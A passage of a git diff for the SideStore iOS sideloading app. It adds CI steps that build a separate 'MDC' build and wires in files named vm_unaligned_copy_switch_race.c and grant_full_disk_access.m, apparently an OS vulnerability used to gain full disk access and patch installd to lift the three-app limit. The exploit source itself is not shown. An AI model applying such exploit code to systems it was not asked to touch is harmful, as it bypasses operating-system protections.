diff --git a/.github/workflows/beta.yml b/.github/workflows/beta.yml index 9718c667e..032f144be 100644 --- a/.github/workflows/beta.yml +++ b/.github/workflows/beta.yml @@ -42,14 +42,21 @@ jobs: with: xcode-version: ${{ matrix.version }} - - name: Build SideStore - run: make build | xcpretty && exit ${PIPESTATUS[0]} - - - name: Fakesign app - run: make fakesign - - - name: Convert to IPA - run: make ipa + - name: "[Normal] Build SideStore, fakesign app and convert to IPA" + run: | + make build | xcpretty + make fakesign + make ipa + + - name: Enable MDC + run: make enable_mdc + + - name: "[MDC] Build SideStore, fakesign app and convert to IPA" + run: | + make clean + make build DSYM_FOLDER=./MDC-dSYM | xcpretty + make fakesign + make ipa IPA_NAME=SideStore-MDC.ipa - name: Get current date id: date @@ -67,7 +74,9 @@ jobs: tag_name: ${{ github.ref_name }} draft: true prerelease: true - files: SideStore.ipa + files: | + SideStore.ipa + SideStore-MDC.ipa body: | Beta builds are hand-picked builds from development commits that will allow you to try out new features earlier than normal. However, **they might contain bugs and other issues. Use at your own risk!** @@ -86,14 +95,29 @@ jobs: - name: Add version to IPA file name run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa + - name: Add version to MDC IPA file name + run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa + - name: Upload SideStore.ipa Artifact uses: actions/upload-artifact@v3.1.0 with: name: SideStore-${{ steps.version.outputs.version }}.ipa path: SideStore-${{ steps.version.outputs.version }}.ipa - - name: Upload *.dSYM Artifact + - name: Upload SideStore-MDC.ipa Artifact + uses: actions/upload-artifact@v3.1.0 + with: + name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa + path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa + + - name: Upload dSYM Artifact uses: actions/upload-artifact@v3.1.0 with: name: SideStore-${{ steps.version.outputs.version }}-dSYM - path: ./*.dSYM/ + path: ./dSYM/* + + - name: Upload MDC-dSYM Artifact + uses: actions/upload-artifact@v3.1.0 + with: + name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM + path: ./MDC-dSYM/* diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index 6091dbff8..bef303b71 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -39,6 +39,9 @@ jobs: - name: Change default icon to nightly icon run: sed -e 's/= Neon/= Steel/' -i '' ./AltStore.xcodeproj/project.pbxproj + - name: Enable unstable features + run: make enable_unstable + - name: Get version id: version run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT @@ -51,14 +54,21 @@ jobs: with: xcode-version: ${{ matrix.version }} - - name: Build SideStore - run: make build | xcpretty && exit ${PIPESTATUS[0]} + - name: "[Normal] Build SideStore, fakesign app and convert to IPA" + run: | + make build | xcpretty + make fakesign + make ipa - - name: Fakesign app - run: make fakesign + - name: Enable MDC + run: make enable_mdc - - name: Convert to IPA - run: make ipa + - name: "[MDC] Build SideStore, fakesign app and convert to IPA" + run: | + make clean + make build DSYM_FOLDER=./MDC-dSYM | xcpretty + make fakesign + make ipa IPA_NAME=SideStore-MDC.ipa - name: Get current date id: date @@ -75,7 +85,9 @@ jobs: release: "Nightly" tag: "nightly" prerelease: true - files: SideStore.ipa + files: | + SideStore.ipa + SideStore-MDC.ipa body: | This is an ⚠️ **EXPERIMENTAL** ⚠️ nightly build for commit [${{ github.sha }}](https://github.com/${{ github.repository }}/commit/${{ github.sha }}). @@ -93,17 +105,32 @@ jobs: - name: Add version to IPA file name run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa + - name: Add version to MDC IPA file name + run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa + - name: Upload SideStore.ipa Artifact uses: actions/upload-artifact@v3.1.0 with: name: SideStore-${{ steps.version.outputs.version }}.ipa path: SideStore-${{ steps.version.outputs.version }}.ipa - - name: Upload *.dSYM Artifact + - name: Upload SideStore-MDC.ipa Artifact + uses: actions/upload-artifact@v3.1.0 + with: + name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa + path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa + + - name: Upload dSYM Artifact uses: actions/upload-artifact@v3.1.0 with: name: SideStore-${{ steps.version.outputs.version }}-dSYM - path: ./*.dSYM/ + path: ./dSYM/* + + - name: Upload MDC-dSYM Artifact + uses: actions/upload-artifact@v3.1.0 + with: + name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM + path: ./MDC-dSYM/* - name: Reset cache for apps.sidestore.io/nightly run: sleep 10 && curl https://apps.sidestore.io/reset-cache/nightly/${{ secrets.SIDESOURCE_KEY }} diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 6b2b7251b..2a575921d 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -30,6 +30,9 @@ jobs: - name: Change default icon to alpha icon run: sed -e 's/= Neon/= Storm/' -i '' ./AltStore.xcodeproj/project.pbxproj + - name: Enable unstable features + run: make enable_unstable + - name: Get version id: version run: echo "version=$(grep MARKETING_VERSION Build.xcconfig | sed -e "s/MARKETING_VERSION = //g")" >> $GITHUB_OUTPUT @@ -42,26 +45,48 @@ jobs: with: xcode-version: ${{ matrix.version }} - - name: Build SideStore - run: make build | xcpretty && exit ${PIPESTATUS[0]} + - name: "[Normal] Build SideStore, fakesign app and convert to IPA" + run: | + make build | xcpretty + make fakesign + make ipa - - name: Fakesign app - run: make fakesign + - name: Enable MDC + run: make enable_mdc - - name: Convert to IPA - run: make ipa + - name: "[MDC] Build SideStore, fakesign app and convert to IPA" + run: | + make clean + make build DSYM_FOLDER=./MDC-dSYM | xcpretty + make fakesign + make ipa IPA_NAME=SideStore-MDC.ipa - name: Add version to IPA file name run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa + - name: Add version to MDC IPA file name + run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa + - name: Upload SideStore.ipa Artifact uses: actions/upload-artifact@v3.1.0 with: name: SideStore-${{ steps.version.outputs.version }}.ipa path: SideStore-${{ steps.version.outputs.version }}.ipa - - name: Upload *.dSYM Artifact + - name: Upload SideStore-MDC.ipa Artifact + uses: actions/upload-artifact@v3.1.0 + with: + name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa + path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa + + - name: Upload dSYM Artifact uses: actions/upload-artifact@v3.1.0 with: name: SideStore-${{ steps.version.outputs.version }}-dSYM - path: ./*.dSYM/ + path: ./dSYM/* + + - name: Upload MDC-dSYM Artifact + uses: actions/upload-artifact@v3.1.0 + with: + name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM + path: ./MDC-dSYM/* diff --git a/.github/workflows/stable.yml b/.github/workflows/stable.yml index d1a6d1e53..5e16f27fc 100644 --- a/.github/workflows/stable.yml +++ b/.github/workflows/stable.yml @@ -39,14 +39,21 @@ jobs: with: xcode-version: ${{ matrix.version }} - - name: Build SideStore - run: make build | xcpretty && exit ${PIPESTATUS[0]} - - - name: Fakesign app - run: make fakesign - - - name: Convert to IPA - run: make ipa + - name: "[Normal] Build SideStore, fakesign app and convert to IPA" + run: | + make build | xcpretty + make fakesign + make ipa + + - name: Enable MDC + run: make enable_mdc + + - name: "[MDC] Build SideStore, fakesign app and convert to IPA" + run: | + make clean + make build DSYM_FOLDER=./MDC-dSYM | xcpretty + make fakesign + make ipa IPA_NAME=SideStore-MDC.ipa - name: Get current date id: date @@ -63,7 +70,9 @@ jobs: name: ${{ steps.version.outputs.version }} tag_name: ${{ github.ref_name }} draft: true - files: SideStore.ipa + files: | + SideStore.ipa + SideStore-MDC.ipa body: | ## Changelog @@ -80,14 +89,29 @@ jobs: - name: Add version to IPA file name run: mv SideStore.ipa SideStore-${{ steps.version.outputs.version }}.ipa + - name: Add version to MDC IPA file name + run: mv SideStore-MDC.ipa SideStore-MDC-${{ steps.version.outputs.version }}.ipa + - name: Upload SideStore.ipa Artifact uses: actions/upload-artifact@v3.1.0 with: name: SideStore-${{ steps.version.outputs.version }}.ipa path: SideStore-${{ steps.version.outputs.version }}.ipa - - name: Upload *.dSYM Artifact + - name: Upload SideStore-MDC.ipa Artifact + uses: actions/upload-artifact@v3.1.0 + with: + name: SideStore-MDC-${{ steps.version.outputs.version }}.ipa + path: SideStore-MDC-${{ steps.version.outputs.version }}.ipa + + - name: Upload dSYM Artifact uses: actions/upload-artifact@v3.1.0 with: name: SideStore-${{ steps.version.outputs.version }}-dSYM - path: ./*.dSYM/ + path: ./dSYM/* + + - name: Upload MDC-dSYM Artifact + uses: actions/upload-artifact@v3.1.0 + with: + name: SideStore-MDC-${{ steps.version.outputs.version }}-dSYM + path: ./MDC-dSYM/* diff --git a/.gitignore b/.gitignore index 9e0fcf89d..d852dfd8b 100644 --- a/.gitignore +++ b/.gitignore @@ -36,8 +36,8 @@ xcuserdata .idea/ Payload/ -SideStore.ipa -*.dSYM +SideStore*.ipa +*dSYM Dependencies/.*-prebuilt-fetch-* Dependencies/minimuxer/* diff --git a/AltStore.xcodeproj/project.pbxproj b/AltStore.xcodeproj/project.pbxproj index b7e379821..4e9915446 100644 --- a/AltStore.xcodeproj/project.pbxproj +++ b/AltStore.xcodeproj/project.pbxproj @@ -86,10 +86,18 @@ 4879A95F2861046500FC1BBD /* AltSign in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A95E2861046500FC1BBD /* AltSign */; }; 4879A9622861049C00FC1BBD /* OpenSSL in Frameworks */ = {isa = PBXBuildFile; productRef = 4879A9612861049C00FC1BBD /* OpenSSL */; }; 990D2AE22A1910CD0055D93C /* UnstableFeatures.swift in Sources */ = {isa = PBXBuildFile; fileRef = 990D2AE12A1910CD0055D93C /* UnstableFeatures.swift */; }; - 990D2AF02A192E060055D93C /* UIApplication+Alert.swift in Sources */ = {isa = PBXBuildFile; fileRef = 990D2AEF2A192E060055D93C /* UIApplication+Alert.swift */; }; + 990D2AF02A192E060055D93C /* UIApplication+SideStore.swift in Sources */ = {isa = PBXBuildFile; fileRef = 990D2AEF2A192E060055D93C /* UIApplication+SideStore.swift */; }; 990D2B002A19593F0055D93C /* UnstableFeaturesView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 990D2AFF2A19593F0055D93C /* UnstableFeaturesView.swift */; }; 9922FFEC29B501C50020F868 /* Starscream in Frameworks */ = {isa = PBXBuildFile; productRef = 9922FFEB29B501C50020F868 /* Starscream */; }; 992C896029A6A56500FB3501 /* LocalConsole in Frameworks */ = {isa = PBXBuildFile; productRef = 992C895F29A6A56500FB3501 /* LocalConsole */; }; + 993250B12A258EE6001EF2C8 /* Remove3AppLimitView.swift in Sources */ = {isa = PBXBuildFile; fileRef = 993250B02A258EE6001EF2C8 /* Remove3AppLimitView.swift */; }; + 993F069A2A26EBF000717CEA /* Error+Message.swift in Sources */ = {isa = PBXBuildFile; fileRef = 993F06992A26EBF000717CEA /* Error+Message.swift */; }; + 993F06A12A2797DE00717CEA /* vm_unaligned_copy_switch_race.h in Headers */ = {isa = PBXBuildFile; fileRef = 993250A62A258B3F001EF2C8 /* vm_unaligned_copy_switch_race.h */; }; + 993F06A22A27985A00717CEA /* MDC+AltStore.swift in Sources */ = {isa = PBXBuildFile; fileRef = 993250A92A258B40001EF2C8 /* MDC+AltStore.swift */; }; + 993F06A32A27985F00717CEA /* grant_full_disk_access.m in Sources */ = {isa = PBXBuildFile; fileRef = 993250AA2A258B41001EF2C8 /* grant_full_disk_access.m */; }; + 993F06A42A27986400717CEA /* helpers.m in Sources */ = {isa = PBXBuildFile; fileRef = 993250A82A258B40001EF2C8 /* helpers.m */; }; + 993F06A52A27986900717CEA /* vm_unaligned_copy_switch_race.c in Sources */ = {isa = PBXBuildFile; fileRef = 993250AB2A258B41001EF2C8 /* vm_unaligned_copy_switch_race.c */; }; + 993F06A72A2798D000717CEA /* MDC+AltStoreCore.swift in Sources */ = {isa = PBXBuildFile; fileRef = 993F06A62A2798D000717CEA /* MDC+AltStoreCore.swift */; }; 994D6E9B29E326080045B3F7 /* minimuxer.swift in Sources */ = {isa = PBXBuildFile; fileRef = 99F87D1729D8E4C900B40039 /* minimuxer.swift */; }; 994D6EB529E35C130045B3F7 /* StoreApp+SideStore.swift in Sources */ = {isa = PBXBuildFile; fileRef = 994D6EB429E35C130045B3F7 /* StoreApp+SideStore.swift */; }; 998E3B112A2061850046BBAA /* UnstableFeatures+SwiftUI.swift in Sources */ = {isa = PBXBuildFile; fileRef = 998E3B102A2061850046BBAA /* UnstableFeatures+SwiftUI.swift */; }; @@ -654,8 +662,18 @@ 1FFA56C1299994390011B6F5 /* OutputCapturer.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = OutputCapturer.swift; sourceTree = ""; }; 1FFEF103298552DB0098374C /* AppVersionHistoryView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = AppVersionHistoryView.swift; sourceTree = ""; }; 990D2AE12A1910CD0055D93C /* UnstableFeatures.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = UnstableFeatures.swift; sourceTree = ""; }; - 990D2AEF2A192E060055D93C /* UIApplication+Alert.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "UIApplication+Alert.swift"; sourceTree = ""; }; + 990D2AEF2A192E060055D93C /* UIApplication+SideStore.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "UIApplication+SideStore.swift"; sourceTree = ""; }; 990D2AFF2A19593F0055D93C /* UnstableFeaturesView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = UnstableFeaturesView.swift; sourceTree = ""; }; + 993250A52A258B3E001EF2C8 /* grant_full_disk_access.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = grant_full_disk_access.h; sourceTree = ""; }; + 993250A62A258B3F001EF2C8 /* vm_unaligned_copy_switch_race.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = vm_unaligned_copy_switch_race.h; sourceTree = ""; }; + 993250A72A258B3F001EF2C8 /* helpers.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = helpers.h; sourceTree = ""; }; + 993250A82A258B40001EF2C8 /* helpers.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = helpers.m; sourceTree = ""; }; + 993250A92A258B40001EF2C8 /* MDC+AltStore.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; path = "MDC+AltStore.swift"; sourceTree = ""; }; + 993250AA2A258B41001EF2C8 /* grant_full_disk_access.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = grant_full_disk_access.m; sourceTree = ""; }; + 993250AB2A258B41001EF2C8 /* vm_unaligned_copy_switch_race.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = vm_unaligned_copy_switch_race.c; sourceTree = ""; }; + 993250B02A258EE6001EF2C8 /* Remove3AppLimitView.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = Remove3AppLimitView.swift; sourceTree = ""; }; + 993F06992A26EBF000717CEA /* Error+Message.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "Error+Message.swift"; sourceTree = ""; }; + 993F06A62A2798D000717CEA /* MDC+AltStoreCore.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "MDC+AltStoreCore.swift"; sourceTree = ""; }; 994D6EB429E35C130045B3F7 /* StoreApp+SideStore.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "StoreApp+SideStore.swift"; sourceTree = ""; }; 9961EC2D29BE9F2E00AF2C6F /* minimuxer-helpers.swift */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.swift; name = "minimuxer-helpers.swift"; path = "Dependencies/minimuxer/minimuxer-helpers.swift"; sourceTree = SOURCE_ROOT; }; 998E3B102A2061850046BBAA /* UnstableFeatures+SwiftUI.swift */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.swift; path = "UnstableFeatures+SwiftUI.swift"; sourceTree = ""; }; @@ -1257,7 +1275,6 @@ 99E59E1C299BFE5D00FAF33D /* AppIconsView.swift */, 99D87A5F299F1B1100ED09A9 /* DevModeView.swift */, 99BCB7DE29A2AC050041D1A7 /* AdvancedSettingsView.swift */, - 990D2AFF2A19593F0055D93C /* UnstableFeaturesView.swift */, ); path = Settings; sourceTree = ""; @@ -1322,6 +1339,7 @@ isa = PBXGroup; children = ( 990D2AE12A1910CD0055D93C /* UnstableFeatures.swift */, + 990D2AFF2A19593F0055D93C /* UnstableFeaturesView.swift */, 998E3B102A2061850046BBAA /* UnstableFeatures+SwiftUI.swift */, ); path = "Unstable Features"; @@ -1359,6 +1377,22 @@ path = UIKit; sourceTree = ""; }; + 993250A42A2585F6001EF2C8 /* MDC */ = { + isa = PBXGroup; + children = ( + 993250B02A258EE6001EF2C8 /* Remove3AppLimitView.swift */, + 993250A92A258B40001EF2C8 /* MDC+AltStore.swift */, + 993F06A62A2798D000717CEA /* MDC+AltStoreCore.swift */, + 993250A52A258B3E001EF2C8 /* grant_full_disk_access.h */, + 993250AA2A258B41001EF2C8 /* grant_full_disk_access.m */, + 993250A72A258B3F001EF2C8 /* helpers.h */, + 993250A82A258B40001EF2C8 /* helpers.m */, + 993250A62A258B3F001EF2C8 /* vm_unaligned_copy_switch_race.h */, + 993250AB2A258B41001EF2C8 /* vm_unaligned_copy_switch_race.c */, + ); + path = MDC; + sourceTree = ""; + }; 99F87D1429D8E3F100B40039 /* Generated */ = { isa = PBXGroup; children = ( @@ -1942,6 +1976,7 @@ 990D2AFE2A1956740055D93C /* UIKit */, 990D2AFD2A19566C0055D93C /* SwiftUI */, 990D2AE02A1910920055D93C /* Unstable Features */, + 993250A42A2585F6001EF2C8 /* MDC */, B39F16112918D7B5002E9404 /* Consts */, BFD2478A2284C49000981D42 /* Managing Apps */, BFDB6A0922AAEDA1007EA6D6 /* Operations */, @@ -2027,12 +2062,13 @@ BFE00A1F2503097F00EB4D0C /* INInteraction+AltStore.swift */, D57F2C9326E01BC700B9FA39 /* UIDevice+Vibration.swift */, B376FE3D29258C8900E18883 /* OSLog+SideStore.swift */, - 990D2AEF2A192E060055D93C /* UIApplication+Alert.swift */, + 990D2AEF2A192E060055D93C /* UIApplication+SideStore.swift */, 1F66F5BD2938F06100A910CA /* StoreApp+Filterable.swift */, 1F180F91298E7A1B00D1C98B /* StoreApp+Trusted.swift */, 1F180F93298E7A2500D1C98B /* Source+Trusted.swift */, 99DE640229A1624500B920BF /* View+Hidden.swift */, 994D6EB429E35C130045B3F7 /* StoreApp+SideStore.swift */, + 993F06992A26EBF000717CEA /* Error+Message.swift */, ); path = Extensions; sourceTree = ""; @@ -2217,6 +2253,7 @@ BF66EE942501AEBC007EE018 /* ALTAppPermission.h in Headers */, BFAECC602501B0BF00528F27 /* NSError+ALTServerError.h in Headers */, BFAECC5E2501B0BF00528F27 /* CFNotificationName+AltStore.h in Headers */, + 993F06A12A2797DE00717CEA /* vm_unaligned_copy_switch_race.h in Headers */, ); runOnlyForDeploymentPostprocessing = 0; }; @@ -2813,6 +2850,7 @@ BFAECC5A2501B0A400528F27 /* NetworkConnection.swift in Sources */, D5F99A1828D11DB500476A16 /* AltStore10ToAltStore11.xcmappingmodel in Sources */, BF66EEE92501AED0007EE018 /* JSONDecoder+Properties.swift in Sources */, + 993F06A72A2798D000717CEA /* MDC+AltStoreCore.swift in Sources */, BF66EEEB2501AED0007EE018 /* UIApplication+AppExtension.swift in Sources */, BF66EED92501AECA007EE018 /* Team.swift in Sources */, BF66EED12501AECA007EE018 /* AltStore3ToAltStore4.xcmappingmodel in Sources */, @@ -2888,6 +2926,7 @@ 1F0DD8432936B0F9007608A4 /* RoundedTextField.swift in Sources */, D57F2C9126E0070200B9FA39 /* EnableJITOperation.swift in Sources */, BF8CAE4E248AEABA004D6CCE /* UIDevice+Jailbreak.swift in Sources */, + 993F06A42A27986400717CEA /* helpers.m in Sources */, 1FB96FC7292A853D007E68D1 /* SourcesView.swift in Sources */, 1F66F5BE2938F06100A910CA /* StoreApp+Filterable.swift in Sources */, D5E1E7C128077DE90016FC96 /* FetchTrustedSourcesOperation.swift in Sources */, @@ -2915,9 +2954,11 @@ D5DAE0942804B0B80034D8D4 /* ScreenshotProcessor.swift in Sources */, 1FB96FBE292A20E5007E68D1 /* ObservableScrollView.swift in Sources */, BFD2476E2284B9A500981D42 /* AppDelegate.swift in Sources */, - 990D2AF02A192E060055D93C /* UIApplication+Alert.swift in Sources */, + 990D2AF02A192E060055D93C /* UIApplication+SideStore.swift in Sources */, 1FFA56C2299994390011B6F5 /* OutputCapturer.swift in Sources */, + 993F069A2A26EBF000717CEA /* Error+Message.swift in Sources */, BF41B806233423AE00C593A3 /* TabBarController.swift in Sources */, + 993F06A32A27985F00717CEA /* grant_full_disk_access.m in Sources */, 1FB96FC9292ABDD0007E68D1 /* AddSourceView.swift in Sources */, 1F6E08DC292807D3005059C0 /* AppIconView.swift in Sources */, 1F6284D5295209DA0060AAD8 /* AppAction.swift in Sources */, @@ -2934,6 +2975,7 @@ B3EE16B62925E27D00B3B1F5 /* AnisetteManager.swift in Sources */, 1FF8C6182A1780C60041352C /* ActivityView.swift in Sources */, 1F943C6E2927F90400ABE095 /* NewsItemView.swift in Sources */, + 993250B12A258EE6001EF2C8 /* Remove3AppLimitView.swift in Sources */, BF88F97224F8727D00BB75DF /* AppManagerErrors.swift in Sources */, B39F16152918D7DA002E9404 /* Consts+Proxy.swift in Sources */, 1F6E08E629280F4B005059C0 /* RatingStars.swift in Sources */, @@ -3011,6 +3053,7 @@ BF4B78FE24B3D1DB008AB4AC /* SceneDelegate.swift in Sources */, BF6C8FB02429599900125131 /* TextCollectionReusableView.swift in Sources */, BF663C4F2433ED8200DAA738 /* FileManager+DirectorySize.swift in Sources */, + 993F06A52A27986900717CEA /* vm_unaligned_copy_switch_race.c in Sources */, 1F943C702927F90400ABE095 /* BrowseView.swift in Sources */, 1F981B1129AA0FAE0014950E /* OnboardingView.swift in Sources */, 1F943C692927F8F200ABE095 /* RootView.swift in Sources */, @@ -3020,6 +3063,7 @@ 1FA5A6CC298E8FE4007BA946 /* MailComposeView.swift in Sources */, BF3BEFBF2408673400DE7D55 /* FetchProvisioningProfilesOperation.swift in Sources */, BFF0B69023219C6D007A79E1 /* PatreonComponents.swift in Sources */, + 993F06A22A27985A00717CEA /* MDC+AltStore.swift in Sources */, 1FB96FC5292A7251007E68D1 /* BrowseAppPreviewView.swift in Sources */, BFBE0004250ACFFB0080826E /* ViewApp.intentdefinition in Sources */, BF56D2AF23DF9E310006506D /* AppIDsViewController.swift in Sources */, @@ -3704,6 +3748,7 @@ DEVELOPMENT_TEAM = "$(DEVELOPMENT_TEAM)"; ENABLE_BITCODE = NO; INFOPLIST_FILE = AltStore/Info.plist; + INFOPLIST_PREPROCESS = YES; IPHONEOS_DEPLOYMENT_TARGET = 14.0; LD_RUNPATH_SEARCH_PATHS = ( "$(inherited)", @@ -3746,6 +3791,7 @@ DEVELOPMENT_TEAM = "$(DEVELOPMENT_TEAM)"; ENABLE_BITCODE = NO; INFOPLIST_FILE = AltStore/Info.plist; + INFOPLIST_PREPROCESS = YES; IPHONEOS_DEPLOYMENT_TARGET = 14.0; LD_RUNPATH_SEARCH_PATHS = ( "$(inherited)", diff --git a/AltStore/AltStore-Bridging-Header.h b/AltStore/AltStore-Bridging-Header.h index f75b06b6d..974fa7194 100644 --- a/AltStore/AltStore-Bridging-Header.h +++ b/AltStore/AltStore-Bridging-Header.h @@ -6,3 +6,7 @@ #import "ALTAppPatcher.h" #include "fragmentzip.h" + +#ifdef MDC +#import "grant_full_disk_access.h" +#endif /* MDC */ diff --git a/AltStore/Extensions/Error+Message.swift b/AltStore/Extensions/Error+Message.swift new file mode 100644 index 000000000..108ca021e --- /dev/null +++ b/AltStore/Extensions/Error+Message.swift @@ -0,0 +1,13 @@ +// +// Error+Message.swift +// SideStore +// +// Created by naturecodevoid on 5/30/23. +// Copyright © 2023 SideStore. All rights reserved. +// + +extension Error { + func message() -> String { + (self as? LocalizedError)?.failureReason ?? self.localizedDescription + } +} diff --git a/AltStore/Extensions/UIApplication+Alert.swift b/AltStore/Extensions/UIApplication+Alert.swift deleted file mode 100644 index e237eda64..000000000 --- a/AltStore/Extensions/UIApplication+Alert.swift +++ /dev/null @@ -1,26 +0,0 @@ -// -// UIApplication+Alert.swift -// SideStore -// -// Created by naturecodevoid on 5/20/23. -// Copyright © 2023 SideStore. All rights reserved. -// - -extension UIApplication { - static func alertOk(title: String?, message: String?) { - let alert = UIAlertController(title: title, message: message, preferredStyle: .alert) - alert.addAction(UIAlertAction(title: NSLocalizedString("Ok", comment: ""), style: .default)) - - DispatchQueue.main.async { - let keyWindow = UIApplication.shared.windows.filter { $0.isKeyWindow }.first - if var topController = keyWindow?.rootViewController { - while let presentedViewController = topController.presentedViewController { - topController = presentedViewController - } - topController.present(alert, animated: true) - } else { - print("No key window!") - } - } - } -} diff --git a/AltStore/Extensions/UIApplication+SideStore.swift b/AltStore/Extensions/UIApplication+SideStore.swift new file mode 100644 index 000000000..3c1cef026 --- /dev/null +++ b/AltStore/Extensions/UIApplication+SideStore.swift @@ -0,0 +1,45 @@ +// +// UIApplication+SideStore.swift +// SideStore +// +// Created by naturecodevoid on 5/20/23. +// Copyright © 2023 SideStore. All rights reserved. +// + +extension UIApplication { + static var keyWindow: UIWindow? { + UIApplication.shared.windows.filter { $0.isKeyWindow }.first + } + + static var topController: UIViewController? { + guard var topController = keyWindow?.rootViewController else { return nil } + while let presentedViewController = topController.presentedViewController { + topController = presentedViewController + } + return topController + } + + static func alert( + title: String? = nil, + message: String? = nil, + leftButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil, + rightButton: (text: String, action: ((UIAlertAction) -> Void)?)? = nil, + leftButtonStyle: UIAlertAction.Style = .default, + rightButtonStyle: UIAlertAction.Style = .default + ) { + let alert = UIAlertController(title: title, message: message, preferredStyle: .alert) + if let leftButton = leftButton { + alert.addAction(UIAlertAction(title: leftButton.text, style: leftButtonStyle, handler: leftButton.action)) + } + if let rightButton = rightButton { + alert.addAction(UIAlertAction(title: rightButton.text, style: rightButtonStyle, handler: rightButton.action)) + } + if rightButton == nil && leftButton == nil { + alert.addAction(UIAlertAction(title: NSLocalizedString("Ok", comment: ""), style: .default)) + } + + DispatchQueue.main.async { + topController?.present(alert, animated: true) + } + } +} diff --git a/AltStore/Info.plist b/AltStore/Info.plist index 7c12f9012..0ea4a34f9 100644 --- a/AltStore/Info.plist +++ b/AltStore/Info.plist @@ -14,7 +14,13 @@ ALTPairingFile <insert pairing file here> ALTAnisetteURL - https://ani.sidestore.io + + http:/$()/ani.sidestore.io:6969 CFBundleDevelopmentRegion $(DEVELOPMENT_LANGUAGE) CFBundleDocumentTypes @@ -208,5 +214,13 @@ UIFileSharingEnabled + + NSAppleMusicUsageDescription + Full access to files on your device is required to apply the installd patch to remove the 3 app limit that free developer accounts have. + diff --git a/AltStore/LaunchViewController.swift b/AltStore/LaunchViewController.swift index 4383d650e..39d9b3cee 100644 --- a/AltStore/LaunchViewController.swift +++ b/AltStore/LaunchViewController.swift @@ -57,8 +57,12 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg override func viewDidAppear(_ animated: Bool) { super.viewDidAppear(true) + #if MDC + MDC.alertIfNotPatched() + #endif + #if !targetEnvironment(simulator) - if !UserDefaults.standard.onboardingComplete { + if UnstableFeatures.enabled(.onboarding) && !UserDefaults.standard.onboardingComplete { self.showOnboarding() return } @@ -152,7 +156,7 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg try start(pairing_file, documentsDirectory) } catch { try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)")) - displayError("minimuxer failed to start, please restart SideStore. \((error as? LocalizedError)?.failureReason ?? "UNKNOWN ERROR!!!!!! REPORT TO GITHUB ISSUES!")") + displayError("minimuxer failed to start, please restart SideStore. \(error.message())") } set_debug(UserDefaults.shared.isDebugLoggingEnabled) start_auto_mounter(documentsDirectory) diff --git a/AltStore/MDC/MDC+AltStore.swift b/AltStore/MDC/MDC+AltStore.swift new file mode 100644 index 000000000..2a2e24aaf --- /dev/null +++ b/AltStore/MDC/MDC+AltStore.swift @@ -0,0 +1,177 @@ +// Extension of MDC+AltStoreCore for the functionality AltStore uses +// The only reason we can't have it all in AltStore is because AltStoreCore requires one variable of MDC to determine the free app limit + +import Foundation +import AltStoreCore + +extension MDC { + #if MDC + enum PatchError: LocalizedError { + case NoFDA(error: String) + case FailedPatchd + + var failureReason: String? { + switch (self) { + case .NoFDA(let error): return L10n.Remove3AppLimitView.Errors.noFDA(error) + case .FailedPatchd: return L10n.Remove3AppLimitView.Errors.failedPatchd + } + } + } + + static func patch3AppLimit() async throws { + #if !targetEnvironment(simulator) + let res: PatchError? = await withCheckedContinuation { continuation in + grant_full_disk_access { error in + if let error = error { + continuation.resume(returning: PatchError.NoFDA(error: error.message())) + } else if !patch_installd() { + continuation.resume(returning: PatchError.FailedPatchd) + } else { + continuation.resume(returning: nil) + } + } + } + if let error = res { + throw error + } + #else + print("The patch would be running right now if you weren't using a simulator. It will stop \"running\" in 3 seconds.") + try await Task.sleep(nanoseconds: UInt64(3 * Double(NSEC_PER_SEC))) +// throw MDC.PatchError.NoFDA(error: 